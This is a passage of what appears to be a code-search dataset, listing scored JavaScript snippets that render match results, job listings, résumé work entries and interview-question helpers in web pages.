Northern Territory\";\n }\n\n p4Title.innerHTML = \"Location: \";\n\n panel.appendChild(heading);\n panel.appendChild(body);\n heading.append(match);\n body.append(p0);\n p0.prepend(p0Title);\n body.append(p1);\n p1.prepend(p1Title);\n body.append(hr1);\n body.append(p2);\n p2.prepend(p2Title);\n body.append(p3);\n p3.prepend(p3Title);\n body.append(p4);\n p4.prepend(p4Title);\n display.appendChild(panel);\n\n document.getElementById(\"employer_loading\").style.display = \"none\";\n}", "title": "" } ]
[ { "docid": "c32c7075f916224ac3d8b8b147e340a8", "score": "0.56631494", "text": "function showMatch(matchId) {\n showing = true;\n\n //Check if there is an active match\n var row;\n if (active >= 0) {\n //Find the row in the table\n row = $(\"#row-\" + active);\n\n //Remove the active class and display the show button\n row.removeClass(\"active\");\n row.find(\"[data-js='match-show']\").removeClass(\"d-none\");\n row.find(\"[data-js='match-hide']\").addClass(\"d-none\");\n }\n\n active = matchId; //set the active match id\n var match = matches[active]; //fetch the details of the match\n\n //Double check that the match exists\n if (match == null) {\n hideAll();\n return;\n }\n\n //Update the details on the match info area\n var area = $(\"#match-info\");\n var compareArea = true;\n\n //Check if on the report page\n if (!area.length) {\n area = $(\"#report-match-info\");\n compareArea = false;\n }\n\n //Update the text\n area.find(\"#match-reason\").text(\"#\" + matchId + \": \" + match.reason);\n area.find(\"#match-score\").text(match.score);\n area.find(\".match-colour\").css(\"background-color\", match.colour);\n\n //Show the file code on the report page\n if (!compareArea) {\n loadingReport = true;\n area.find(\"#match-code\").html(\"\");\n for(var i = 0; i < match.matches.length; i++) {\n var obj = match.matches[i];\n\n if (obj.submission != submissionId) {\n //Refresh the code area\n area.find(\"#match-code\").append('<div class=\"card-header\">'+obj.submissionName+': '+obj.displayName+'</div><pre class=\"line-numbers mt-0\" style=\"height: 300px; resize: vertical\"\\n' +\n 'data-line=\"'+obj.lines+'\"\\n' +\n 'data-src=\"/dashboard/workspaces/manage/'+workspaceId+'/submission/'+obj.submission+'/file/'+obj.id+'/'+obj.name+'\"></pre>');\n }\n }\n Prism.fileHighlight();\n }\n\n area.show(); //show the info area\n\n //Find the row in the table\n row = $(\"#row-\" + active);\n\n //Add the active class and display the hide button\n row.addClass(\"active\");\n row.find(\"[data-js='match-show']\").addClass(\"d-none\");\n row.find(\"[data-js='match-hide']\").removeClass(\"d-none\");\n\n\n //Remove all the line highlights\n $(\".line-highlight\").each(function() {\n $(this).css('background', \"\");\n });\n\n //Collapse all the files\n $(\".collapse\").removeClass('show');\n\n //Highlight the lines involved with this match\n for(var i = 0; i < match.matches.length; i++) {\n var obj = match.matches[i];\n //Show the files involved\n $(\"#id-\"+obj.id).addClass('show');\n //Highlight the lines\n highlight(obj.id, obj.lines, match.colour)\n }\n\n var height;\n //Calculate the height to scroll the window to\n if (compareArea) {\n //Top of the collapse area if on the compare page\n height = $(\"[data-js='comparison']\").offset().top;\n if ($(\"#matches-container\").hasClass(\"sticky-top\")) {\n height -= $(\"#matches-container\").height();\n }\n } else {\n //The top of the first highlighted line\n height = $(\"#report-match-info\").offset().top - 10;\n if ($(\"#matches-container\").hasClass(\"sticky-top\")) {\n height -= $(\"#matches-container\").height();\n }\n }\n\n //Scroll the window\n $(\"html, body\").scrollTop(\n height\n );\n\n showing = false;\n }", "title": "" }, { "docid": "c28aacab425552a74077a5443a53e998", "score": "0.5604324", "text": "function printSearchInfo(oMatch)\n{\n\tvar sLabel = oMatch.label;\n\tvar sNamespace = oMatch.namespace;\n\tvar sChr = oMatch.chr;\n\tvar sStart = oMatch.start;\n\tvar sEnd = oMatch.end;\n\tvar sBioType = oMatch.biotype;\n\tvar sStatus = oMatch.status;\n\n\t// Get the type of namespace\n\tvar sQueryId = sLabel;\n\tvar sQueryNamespace = sNamespace;\n\tvar sTypeLabel = getNamespaceLabel(sNamespace);\n\n\t// Add DBLinks\n\tvar sDBLinkResponse = '';\n\tvar sExternalId = '';\n\tif (oMatch.dblink) {\n\t\tvar oDBLink = oMatch.dblink;\n\t\tfor (var i = 0; i < oDBLink.length; i++) {\n\t\t\tvar sIdDBLink = oDBLink[i].id;\n\t\t\tvar sNamespaceDBLink = oDBLink[i].namespace;\n\t\t\tvar sLabelDBLink = getNamespaceLabel(sNamespaceDBLink);\n\t\t\tif (sIdDBLink && sNamespaceDBLink && sLabelDBLink) {\n\t\t\t\tif (sNamespaceDBLink == \"External_Id\") {\n\t\t\t\t\tsExternalId += sIdDBLink;\n\t\t\t\t} else {\n\t\t\t\t\tif (sNamespaceDBLink == \"Ensembl_Gene_Id\") {\n\t\t\t\t\t\tvar sReportLink = \"javascript: window.location='report.html?id=\"+sIdDBLink+\"&namespace=\"+sNamespaceDBLink+\"'\";\n\t\t\t\t\t\tsDBLinkResponse += \"<span class='subtitle'>\"+sLabelDBLink+\": <a onclick=\\\"\"+sReportLink+\"\\\">\"+sIdDBLink+\"</a></span>\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Add input info\n\tvar sResponse = \"<div class='title'>\"+sTypeLabel+\": \" +sLabel+ \" (\"+sExternalId+\")\"+\"</div>\";\t\n\tif(sChr && sStart && sEnd) {\n\t\tsResponse += \"<span class='subtitle'>Location:</span> \"+\"chr\"+sChr+\":\"+sStart+\"-\"+sEnd+\"<br/>\";\n\t}\n\tif(sBioType) {\n\t\tsResponse += \"<span class='subtitle'>Class:</span> \"+sBioType+\"<br/>\";\n\t}\t\t\t\t\t\t\n\tif(sStatus) {\n\t\tsResponse += \"<span class='subtitle'>Status:</span> \"+sStatus;\n\t}\n\tsResponse += \"<br/>\"+sDBLinkResponse;\n\t\n\treturn sResponse;\n}", "title": "" }, { "docid": "ec823436d4958e8333680123654d73f9", "score": "0.54960096", "text": "function interViewQuestions(job) {\n return function(name) {\n if(job === 'teacher') {\n console.log('What subject do you teach,' + name + '?');\n } else if (job === 'designer') {\n console.log(name + ', can you please explain what UX design is?');\n } else {\n console.log(name + ', What do you do?');\n }\n }\n}", "title": "" }, { "docid": "fd658e6198ebb1811f8c4e96b3b45a62", "score": "0.5485818", "text": "function showQuickActionAddToPipeline()\n{\n /* Create a popup window for adding this candidate to the pipeline */\n showPopWin(CATSIndexName + '?m=candidates&a=considerForJobSearch&candidateID='+_singleQuickActionMenuDataItemID, 750, 390, null);\n}", "title": "" }, { "docid": "c668943088e5fc8bbcc2cfd441d72f1b", "score": "0.54004735", "text": "showJob() {\n this.render(this.view);\n this.validateJob();\n }", "title": "" }, { "docid": "b34f1bd7a8a7cb405ae6c3fdf1b0613a", "score": "0.52993923", "text": "function displayMatchedPeople() {\n // Clean previous matches\n $(\"#results\").empty();\n\n // Obtain the search query\n let query = $(\"#search\").val();\n\n // Obtain the matched names\n let matchedNames = [];\n if(query.length > 0){\n matchedNames = searchPeople(PEOPLE, query);\n }\n\n // Display results\n\tfor(let name of matchedNames) {\n \tlet nameItem = $('<li>' + name + '</li>');\n $(\"#results\").append(nameItem); \n }\n}", "title": "" }, { "docid": "93bbb6874ec9c4ec4882bbb3e48b3f72", "score": "0.52433664", "text": "function displayWork(){\n\tfor(job in work.jobs){\n\t\tif(work.jobs[job]){\n\t\t\t$(\"#workExperience\").append(HTMLworkStart);\n\t\t\tvar formattedEmployer = HTMLworkEmployer.replace(\"%data%\",work.jobs[job].employer);\n\t\t\tvar formattedTitle = HTMLworkTitle.replace(\"%data%\",work.jobs[job].title);\n\t\t\tvar formattedEmployerTitle = formattedEmployer + formattedTitle;\n\t\t\tvar formattedDates = HTMLworkDates.replace(\"%data%\",work.jobs[job].dates);\n\t\t\tvar formattedLocation = HTMLworkLocation.replace(\"%data%\",work.jobs[job].location);\n\t\t\tvar formattedDescription = HTMLworkDescription.replace(\"%data%\",work.jobs[job].description);\n\t\t\t$(\".work-entry:last\").append(formattedEmployerTitle);\n\t\t\t$(\".work-entry:last\").append(formattedDates);\n\t\t\t$(\".work-entry:last\").append(formattedLocation);\n\t\t\t$(\".work-entry:last\").append(formattedDescription);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "fc00d688b62582e88ce55aca07b3af07", "score": "0.52416086", "text": "function submissionResultsPage() {\n //Only run on the compare submissions page\n if ($(\"#compare-data\").length || $(\"#report-data\").length) {\n //Fetch the match details\n var matches = getMatchesJSON();\n var lineMap = getMapJSON();\n\n //Get the workspace id and submission id on the report page\n var workspaceId = 0;\n var submissionId = 0;\n if ($(\"#report-data\").length) {\n workspaceId = getWorkspaceId();\n submissionId = getSubmissionId();\n }\n\n var active = -1; // which match is active\n var loaded = 0; // how many files have loaded\n var failed = 0; // how many files have failed to load\n var showing = false; // true if showMatch is running\n var printed = false; // true if the print dialog has been shown\n var loadingReport = false; //Whether the page is loading, or a match on the report page\n\n /**\n * Converts a HEX colour code to a RGBA colour code with transparency\n *\n * @param colour the hex colour code to convert\n * @returns {string} the rgba colour code equivalent\n */\n function rgba(colour) {\n return 'rgba(' + parseInt(colour.slice(-6,-4),16)\n + ',' + parseInt(colour.slice(-4,-2),16)\n + ',' + parseInt(colour.slice(-2),16)\n +',0.4)';\n }\n\n /**\n * Converts the RGBA colour code to CSS linear gradient settings\n *\n * @param colour the colour to convert\n *\n * @returns {{background: string}} the CSS settings\n */\n function gradient(colour) {\n var right = rgba(\"#2d2d2d\");\n\n return {\n 'background': colour,\n 'background': \"-moz-linear-gradient(90deg, \" + colour + \" 0%, \" + right + \" 100%)\",\n 'background': \"-webkit-linear-gradient(90deg, \" + colour + \" 0%, \" + right + \" 100%)\",\n 'background': \"linear-gradient(90deg, \" + colour + \" 0%, \" + right + \" 100%)\"\n }\n }\n\n /**\n * Highlights the specified lines the default colour\n *\n * @param fileId the id of the file\n * @param lines the lines to highlight\n */\n function highlight(fileId, lines, colour) {\n var first = true;\n for (var i = 0; i < lines.length; i++) { //loop through all the lines in the file\n var lineNum = lines[i]; //fetch the match linked to this line\n\n if (first) {\n var line = $(\"pre[data-file-id='\"+fileId+\"']\").find(\"[data-range='\"+lineNum+\"']\");\n var position = parseInt(line.css(\"top\"), 10);\n\n //Scroll the file div to the top of the line\n $(\"#id-\" + fileId).find(\".line-numbers\").scrollTop(\n position\n );\n\n //Ensure that the report match box is at the same position as the first line\n var offset = line.offset();\n if (offset != null) {\n $(\"#report-match-info\").css(\"margin-top\", offset.top - $('[data-js=\"comparison\"]').offset().top);\n }\n\n first = false;\n }\n\n //change the colour of each line\n $(\"pre[data-file-id='\"+fileId+\"']\").find(\"[data-range='\"+lineNum+\"']\").css(gradient(rgba(colour)));\n }\n }\n\n /**\n * Shows the details of a match: highlights all the lines and\n * displays the details of the match at the bottom of the screen\n *\n * @param matchId\n */\n function showMatch(matchId) {\n showing = true;\n\n //Check if there is an active match\n var row;\n if (active >= 0) {\n //Find the row in the table\n row = $(\"#row-\" + active);\n\n //Remove the active class and display the show button\n row.removeClass(\"active\");\n row.find(\"[data-js='match-show']\").removeClass(\"d-none\");\n row.find(\"[data-js='match-hide']\").addClass(\"d-none\");\n }\n\n active = matchId; //set the active match id\n var match = matches[active]; //fetch the details of the match\n\n //Double check that the match exists\n if (match == null) {\n hideAll();\n return;\n }\n\n //Update the details on the match info area\n var area = $(\"#match-info\");\n var compareArea = true;\n\n //Check if on the report page\n if (!area.length) {\n area = $(\"#report-match-info\");\n compareArea = false;\n }\n\n //Update the text\n area.find(\"#match-reason\").text(\"#\" + matchId + \": \" + match.reason);\n area.find(\"#match-score\").text(match.score);\n area.find(\".match-colour\").css(\"background-color\", match.colour);\n\n //Show the file code on the report page\n if (!compareArea) {\n loadingReport = true;\n area.find(\"#match-code\").html(\"\");\n for(var i = 0; i < match.matches.length; i++) {\n var obj = match.matches[i];\n\n if (obj.submission != submissionId) {\n //Refresh the code area\n area.find(\"#match-code\").append('<div class=\"card-header\">'+obj.submissionName+': '+obj.displayName+'</div><pre class=\"line-numbers mt-0\" style=\"height: 300px; resize: vertical\"\\n' +\n 'data-line=\"'+obj.lines+'\"\\n' +\n 'data-src=\"/dashboard/workspaces/manage/'+workspaceId+'/submission/'+obj.submission+'/file/'+obj.id+'/'+obj.name+'\"></pre>');\n }\n }\n Prism.fileHighlight();\n }\n\n area.show(); //show the info area\n\n //Find the row in the table\n row = $(\"#row-\" + active);\n\n //Add the active class and display the hide button\n row.addClass(\"active\");\n row.find(\"[data-js='match-show']\").addClass(\"d-none\");\n row.find(\"[data-js='match-hide']\").removeClass(\"d-none\");\n\n\n //Remove all the line highlights\n $(\".line-highlight\").each(function() {\n $(this).css('background', \"\");\n });\n\n //Collapse all the files\n $(\".collapse\").removeClass('show');\n\n //Highlight the lines involved with this match\n for(var i = 0; i < match.matches.length; i++) {\n var obj = match.matches[i];\n //Show the files involved\n $(\"#id-\"+obj.id).addClass('show');\n //Highlight the lines\n highlight(obj.id, obj.lines, match.colour)\n }\n\n var height;\n //Calculate the height to scroll the window to\n if (compareArea) {\n //Top of the collapse area if on the compare page\n height = $(\"[data-js='comparison']\").offset().top;\n if ($(\"#matches-container\").hasClass(\"sticky-top\")) {\n height -= $(\"#matches-container\").height();\n }\n } else {\n //The top of the first highlighted line\n height = $(\"#report-match-info\").offset().top - 10;\n if ($(\"#matches-container\").hasClass(\"sticky-top\")) {\n height -= $(\"#matches-container\").height();\n }\n }\n\n //Scroll the window\n $(\"html, body\").scrollTop(\n height\n );\n\n showing = false;\n }\n\n /**\n * Sets the colour of each highlighted line to the colour for the\n * relevant line and hides the details of the match at the bottom\n * of the screen.\n */\n function hideAll() {\n //Check if there is an active match\n if (active >= 0) {\n //Find the row in the table\n var row = $(\"#row-\" + active);\n\n //Remove the active class and display the show button\n row.removeClass(\"active\");\n row.find(\"[data-js='match-show']\").removeClass(\"d-none\");\n row.find(\"[data-js='match-hide']\").addClass(\"d-none\");\n }\n\n //Hide the match info area\n $(\"#match-info\").slideUp();\n $(\"#report-match-info\").slideUp();\n\n //Set the colour of each highlighted line\n $(\".line-highlight\").each(function() {\n var input = $(this);\n var lineNum = input.attr(\"data-range\"); //fetch the line element\n var fileId = input.closest(\"pre\").attr(\"data-file-id\"); //get the file id of the line\n if (fileId == null) {\n return;\n }\n\n var matchId = lineMap[fileId]['visible'][lineNum]; //get the match of the line\n\n if (matchId != null) {\n var match = matches[matchId]; //find the match\n if (match != null) {\n input.css(gradient(rgba(match.colour))); //set the colour of the line\n }\n }\n });\n\n active = -1;\n }\n\n /**\n * Binds all the click events for the compare/report pages\n */\n function bind() {\n //Hide the info area(s)\n $(\"#match-info\").hide();\n $(\"#report-match-info\").hide();\n\n //Listener for click events on the \"previous\" button in the match details div\n $(\"[data-js='match-previous']\").unbind();\n $(\"[data-js='match-previous']\").click(function(e) {\n var previous = parseInt(active, 10) - 1;\n\n if (previous < 0) {\n previous = Object.keys(matches).length-1;\n }\n\n showMatch(previous);\n });\n\n //Listener for click events on the \"next\" button in the match details div\n $(\"[data-js='match-next']\").unbind();\n $(\"[data-js='match-next']\").click(function(e) {\n var next = parseInt(active, 10) + 1;\n\n if (next >= Object.keys(matches).length) {\n next = 0;\n }\n\n showMatch(next);\n });\n\n //Listener for click events on the \"show\" button next to each match\n $(\"[data-js='match-show']\").unbind();\n $(\"[data-js='match-show']\").click(function(e) {\n var input = $(this);\n showMatch(input.attr(\"data-js-target\"));\n });\n\n //Listener for click events on the \"hide\" button next to each match\n $(\"[data-js='match-hide']\").unbind();\n $(\"[data-js='match-hide']\").click(function(e) {\n hideAll();\n });\n\n $(\"[data-js='matches-left']\").unbind();\n $(\"[data-js='matches-left']\").click(function(e) {\n $(\"#left\").addClass(\"col-lg-9\");\n $(\"#left\").removeClass(\"col-lg-6\");\n $(\"#left\").removeClass(\"col-lg-3\");\n\n $(\"#right\").addClass(\"col-lg-3\");\n $(\"#right\").removeClass(\"col-lg-6\");\n $(\"#right\").removeClass(\"col-lg-9\");\n\n $(\"[data-js='matches-left']\").addClass(\"d-none\");\n $(\"[data-js='matches-right']\").removeClass(\"d-none\");\n $(\".restore-left\").removeClass(\"d-none\");\n $(\".restore-right\").addClass(\"d-none\");\n });\n\n $(\"[data-js='matches-right']\").unbind();\n $(\"[data-js='matches-right']\").click(function(e) {\n $(\"#right\").addClass(\"col-lg-9\");\n $(\"#right\").removeClass(\"col-lg-6\");\n $(\"#right\").removeClass(\"col-lg-3\");\n\n $(\"#left\").addClass(\"col-lg-3\");\n $(\"#left\").removeClass(\"col-lg-6\");\n $(\"#left\").removeClass(\"col-lg-9\");\n\n $(\"[data-js='matches-left']\").removeClass(\"d-none\");\n $(\"[data-js='matches-right']\").addClass(\"d-none\");\n $(\".restore-left\").addClass(\"d-none\");\n $(\".restore-right\").removeClass(\"d-none\");\n });\n\n $(\"[data-js='matches-restore']\").unbind();\n $(\"[data-js='matches-restore']\").click(function(e) {\n $(\"#left\").addClass(\"col-lg-6\");\n $(\"#left\").removeClass(\"col-lg-9\");\n $(\"#left\").removeClass(\"col-lg-3\");\n\n $(\"#right\").addClass(\"col-lg-6\");\n $(\"#right\").removeClass(\"col-lg-3\");\n $(\"#right\").removeClass(\"col-lg-9\");\n\n $(\"[data-js='matches-left']\").removeClass(\"d-none\");\n $(\"[data-js='matches-right']\").removeClass(\"d-none\");\n $(\".restore-left\").addClass(\"d-none\");\n $(\".restore-right\").addClass(\"d-none\");\n });\n\n //List for click events on the \"toggle table\" button\n $(\"[data-js='matches-list']\").unbind();\n $(\"[data-js='matches-list']\").click(function(e) {\n $(\"[data-js='matches-list']\").each(function(e) {\n $(this).toggleClass(\"d-none\");\n });\n $(\"#matches-table-container\").toggleClass(\"d-none\");\n });\n\n //Hides the match when a file is collapsed\n $('.accordion').on('hide.bs.collapse', function () {\n if (showing == false) {\n hideAll();\n }\n });\n\n //Hides the match when a file is opened\n $('.accordion').on('show.bs.collapse', function () {\n if (showing == false) {\n hideAll();\n }\n });\n }\n\n function printEvent() {\n if (isPrinting()) {\n //Count the number of files that failed to load\n failed = 0;\n $(\"pre\").each(function() {\n var input = $(this);\n var content = input.html();\n\n if (content.includes(\"✖ Error\")) {\n failed++;\n }\n });\n\n //Update the progress bar\n var progress = (loaded/$(\"pre\").length) * 100;\n $(\"#loaded-progress\").css(\"width\", progress+\"%\");\n var progress2 = (failed/$(\"pre\").length) * 100;\n $(\"#failed-progress\").css(\"width\", progress2+\"%\");\n\n if ((loaded+failed) >= $(\"pre\").length && printed == false) {\n printed = true;\n\n setTimeout(function() {\n //Show the print button\n $(\"#print\").removeClass(\"d-none\");\n\n //Warn the user if some files failed\n if (failed != 0) {\n alert(\"Some of the files may have failed to load. Please print the report to PDF, or use the print preview, to check that all the files have loaded successfully.\");\n }\n\n window.print();\n }, 1000);\n }\n }\n }\n\n //Runs when the file contents finish loading in\n Prism.hooks.add('complete', function() {\n if (loadingReport) {\n var area = $(\"#report-match-info\");\n\n if (area.length) {\n var first = true;\n\n area.find(\".line-highlight\").each(function(e){\n var input = $(this);\n input.css(gradient(rgba(\"#f47b2a\")));\n\n if (first) {\n //Scroll the file div to the top of the line\n var position = input.position();\n if (position != null) {\n area.find(\".line-numbers\").scrollTop(\n position.top\n );\n }\n\n first = false;\n }\n });\n }\n } else {\n //Listens for click events anywhere in the code area, only if on the compare page\n if ($(\"#match-info\").length) {\n $(\".code-toolbar\").unbind();\n $(\".code-toolbar\").click(function(e) {\n hideAll();\n });\n }\n\n hideAll();\n loaded++;\n printEvent();\n }\n\n //Listens for click events on highlighted lines\n $(\".line-highlight\").unbind();\n $(\".line-highlight\").click(function(e) {\n //Only run if there is no active match\n if (active < 0) {\n var input = $(this);\n\n var lineNum = input.attr(\"data-range\"); //fetch the line element\n var fileId = input.closest(\"pre\").attr(\"data-file-id\"); //get the file id of the line\n var matchId = lineMap[fileId]['visible'][lineNum]; //get the match of the line\n\n if (matchId != null) {\n showMatch(matchId);\n }\n\n //Stops the [data-js='comparison'] event being called which\n //would undo the effects of this event by hiding the match\n //details\n e.stopPropagation();\n }\n });\n });\n\n bind();\n }\n}", "title": "" }, { "docid": "1b533b0d4d15c808640ef0179f954348", "score": "0.5232614", "text": "displayTeam(){ // context, this = michael\n this.display(); // michael.display();\n this.team.forEach((employee =>{ // michael.team()\n employee.display();\n }))\n }", "title": "" }, { "docid": "0ee62e00c38211610d88b22033dd9739", "score": "0.51709086", "text": "function displayMatched (evt) {\n evt.target.classList.remove('open', 'show');\n evt.target.classList.add('match');\n}", "title": "" }, { "docid": "4a977a3b2488307530339a4ef1240d93", "score": "0.51541036", "text": "function displaySpecificDayJob(name) {\n // scrolling through the dayJobs array\n for(job in dayJobs) {\n // checking if the name exists in the directory\n if(dayJobs[job].name === name) {\n // display all of the information we need do.\n specificDayJobName.innerHTML = `${name}`;\n dayJobDescription.innerHTML = `${dayJobs[job].description}<button type=\"button\" onclick=\"acceptDayJob('${name}', ${dayJobs[job].duration})\">Take</button>`;\n specificDayJobWindow.style.display = \"block\";\n }\n }\n}", "title": "" }, { "docid": "30978a0c56ed2456bdc9a3a146e414bd", "score": "0.51400995", "text": "function Displayer(results, resultsSheet, teamCount) {\n this.results = results;\n this.sheet = resultsSheet;\n this.colors = ['#CEE2F4', '#FDE5CC', '#D9D2EA', '#F5CCCB']\n this.topIdeasAddress = function() {\n return \"A2:B\" + (Number(this.results.topIdeas.length) + 1); \n }\n \n this.printResults = function() {\n this.sheet.clear();\n this.sheet.appendRow([\"Team\",\"Points\"]);\n for(var i in this.results.ideas) {\n var idea = this.results.ideas[i];\n this.sheet.appendRow([idea.name, idea.voteCount]);\n }\n this.sheet.getRange(this.topIdeasAddress()).setBackground('#EFEFEF');\n };\n \n this.getRowLength = function(rowNum) {\n var row = this.sheet.getRange(rowNum + \":\" + rowNum);\n for (var i = row.getWidth(); i > 0; i--) {\n if (row.getCell(1, i).getValue().length > 0) {\n return i;\n }\n }\n return row.getWidth();\n }\n \n this.appendVote = function(rowNum , voterName, choice) {\n var rowLength = this.getRowLength(rowNum);\n var row = this.sheet.getRange(rowNum, 1, 1, rowLength);\n var colNum = row.getLastColumn() + 1;\n this.sheet.getRange(rowNum, colNum).setValue(voterName).setBackground(this.colors[choice]); \n };\n \n this.prepareIdea = function(row, idea) {\n var ideaVoteCount = this.results.students[0].votes.length;\n for (var i = 0; i < ideaVoteCount; i++ ) {\n var voters = this.results.voters(idea, i);\n for (var j in voters) {\n var voter = voters[j];\n var voterName = voter.name;\n if (this.results.creators.indexOf(voter) === -1) {\n this.appendVote(row, voterName, i);\n }\n }\n } \n };\n \n this.printSelectionTable = function() {\n var lastRow = this.sheet.getLastRow();\n this.sheet.appendRow([\"Team\", \"Creater\", \"Voters\"]);\n this.sheet.insertRows(lastRow + 1); \n for (var i in this.results.topIdeas) {\n var idea = this.results.topIdeas[i];\n var ideaName = idea.name;\n var creator = results.getCreator(idea);\n if (creator) {\n var creatorName = creator.name;\n } else {\n var creatorName = \"\";\n }\n this.sheet.appendRow([ideaName, creatorName]);\n var row = this.sheet.getLastRow();\n if(creator) {\n this.sheet.getRange(row,1,1,2).getCell(1,2).setBackground('#D9EAD2');\n }\n this.prepareIdea(row, idea);\n }\n };\n \n this.printUnvoted = function() {\n var unvoted = this.results.getUnvoted();\n \n for(var i in unvoted) {\n var student = unvoted[i];\n this.sheet.appendRow([student.name]);\n }\n };\n \n this.printTabulation = function() {\n this.printResults();\n this.printSelectionTable();\n this.sheet.autoResizeColumn(1);\n var lastRow = this.sheet.getLastRow();\n this.sheet.appendRow([\"Students Whose Votes Did Not Get Chosen:\"]);\n this.sheet.insertRows(lastRow + 1); \n this.printUnvoted();\n };\n }", "title": "" }, { "docid": "4cbb67fe79744f2f9df0e6c9759c03cb", "score": "0.51371014", "text": "function DisplayLastMatch() {\n try {\n //Get user's match from last round's fixtures\n if (lastMatch == undefined) { //If user didn't have a match in the last round, hide section and return\n document.getElementById('lastMatchOpponent').innerText = 'None';\n document.getElementById('lastMatchView').hidden = true;\n return;\n }\n document.getElementById('lastMatchView').hidden = false;\n //Check if match was a homegame, find opponent and venue, display\n let homeGame = lastMatch.home == user.team_short;\n let opponent = homeGame ? lastMatch.away : lastMatch.home;\n let ground = homeGame ? user.homeground : allUsers.find(u => u.team_short == opponent).homeground;\n document.getElementById('lastMatchOpponent').innerText = opponent + ' @ ' + ground;\n //Display score\n document.getElementById('lastMatchScore').innerText = lastMatch.home_score + ' - ' + lastMatch.away_score;\n //Work out result based on score and whether user's team was home or away\n let result = lastMatch.home_score == lastMatch.away_score ? 'DRAW' : homeGame ? lastMatch.home_score > lastMatch.away_score ? 'WIN' : 'LOSS' : lastMatch.away_score > lastMatch.home_score ? 'WIN' : 'LOSS';\n document.getElementById('lastMatchResult').style.color = result == 'WIN' ? 'green' : result == 'LOSS' ? '#c94d38' : 'orange'; \n document.getElementById('lastMatchResult').innerText = ' ' + result; \n //Give the 'View' button a href of fixture.html with query parameteres specifying round and match\n document.getElementById('lastMatchView').href = `fixture.html?round=${currentRound.round_number - 1}&fixture=${lastMatch.home}-v-${lastMatch.away}`;\n } catch (err) {\n DisplayFeedback('Error', err + (err.stack ? '<p>' + err.stack + '</p>': ''));\n }\n}", "title": "" }, { "docid": "7b63818600ec0238ae7c7b11c6078c2b", "score": "0.5127231", "text": "function showWorkoutResults () {\n $('.jsSearchResults').show();\n $('#workoutOptions').show();\n $('#workoutResult').show();\n $('#tutorials').show();\n $('#fitnessGroups').show();\n $('#description').hide();\n $('#youtubeWorkoutVideos').hide();\n }", "title": "" }, { "docid": "130963d42c706a8f1e0e53ae994ad6c4", "score": "0.51110566", "text": "function showTimeUntilMatch(o) {\n var timeUntilGame = padZeros(o.days, 2) + \":\" + padZeros(o.hours, 2) + \":\" + padZeros(o.minutes, 2) + \":\" + padZeros(o.seconds, 2);\n\n $('#day' + (o.match_day + 1) + ' #match' + (o.match_num + 1) + ' #team1_roster' + ' #mid #player_name').html(timeUntilGame);\n}", "title": "" }, { "docid": "9554efccd556f70075c48249b2b273fa", "score": "0.50994486", "text": "function displayWork() {\n\n\tfor (job in work.jobs) {\n\t\t\n\t\t$(\"#workExperience\").append(HTMLworkStart);\n\t\tvar formattedEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].employer);\t\t\n\t\tvar formattedworkTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job].position);\n\t\tvar formattedworkDates = HTMLworkDates.replace(\"%data%\", work.jobs[job].date);\n\t\tvar formattedworkLocation = HTMLworkLocation.replace(\"%data%\", work.jobs[job].city);\n\t\tvar formattedworkDescription = HTMLworkDescription.replace(\"%data%\", work.jobs[job].description);\n\t\tvar formattedEmployerTitle = formattedEmployer + formattedworkTitle;\n\t\t$(\".work-entry:last\").append(formattedEmployerTitle);\n\t\t$(\".work-entry:last\").append(formattedworkDates);\n\t\t$(\".work-entry:last\").append(formattedworkLocation);\n\t\t$(\".work-entry:last\").append(formattedworkDescription);\n}}", "title": "" }, { "docid": "d446e13cc8dffb97ea0e10b7ccf932b4", "score": "0.5080651", "text": "function interViewQuestion(job){\n return function(name){\n if(job === 'teacher'){\n console.log('what do you do')\n }else if(job === 'designer'){\n console.log('explain it')\n }else{\n console.log('what is your job');\n }\n }\n}", "title": "" }, { "docid": "3f89666e4c3c70eee3f457f08de1b003", "score": "0.50345725", "text": "function Preview({ fName, lName, eMail, pNumb, school, program, dateStudy, experiences }) {}", "title": "" }, { "docid": "6becf30014b9507ae04805ed21b0215b", "score": "0.5034052", "text": "function interviewQuestion(job) { // we will return only one function\n\t\treturn function(name) {\n\t\t\tif (job === 'designer') { \n\t\t\t\tconsole.log(name + ' , can you please explan what your UX design it?')\n\t\t\t}\n\t\t\telse if (job === 'teacher') {\n\t\t\t\tconsole.log(name + ' , what subject do you teach?')\n\t\t\t } else {\n\t\t\t\tconsole.log('What do you do ' + name)\n\t\t\n\t\t\t }\n\t\t}\n\t}", "title": "" }, { "docid": "a3995301788227d21684b4650677b7a8", "score": "0.5030034", "text": "function showMatch(match, gameNum) {\n clearDisplayedGame(match.match_day, match.match_num);\n\n var gNum = 0;\n if (typeof gameNum !== \"undefined\") {\n gNum = gameNum\n }\n\n updateGameTabHighlight(match, gNum)\n\n if (match.state != \"resolved\") {\n //Show time until next match\n var curDate = new Date();\n var matchDate = new Date(match.scheduled_time_milliseconds);\n\n if (curDate < matchDate) {\n setAndStartTimers(match);\n } else {\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #team1_roster' + ' #mid #player_name').html('In Progress');\n match.state = \"in progress\";\n\n var liveStream = na_league.live_stream_url;\n liveStream += (liveStreamCounter++); //For every new live stream, add\n\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').show()\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').html('Watch Live!')\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').attr('href', liveStream);\n }\n } else if (match.load_status != \"done\") {\n //show loading spinner\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #team1_roster' + ' #mid #player_name').html('Loading...');\n } else {\n //show match data\n\n\n //show game data\n showGame(match, gNum);\n }\n}", "title": "" }, { "docid": "a96f391f184c9b6a90652e52c6dfb0ea", "score": "0.50267625", "text": "function displayWork(){\n\tfor(job in work.jobs){\n\t\t$(\"#workExperience\").append(HTMLworkStart);\n\t\tvar formattedWorkEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].employer);\n\t\tvar formattedWorkTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job].title);\n\t\tvar formattedEmployerTitle = formattedWorkEmployer + formattedWorkTitle;\n\t\t$(\".work-entry:last\").append(formattedEmployerTitle);\n\t\tvar formattedWorkDates = HTMLworkDates.replace(\"%data%\", 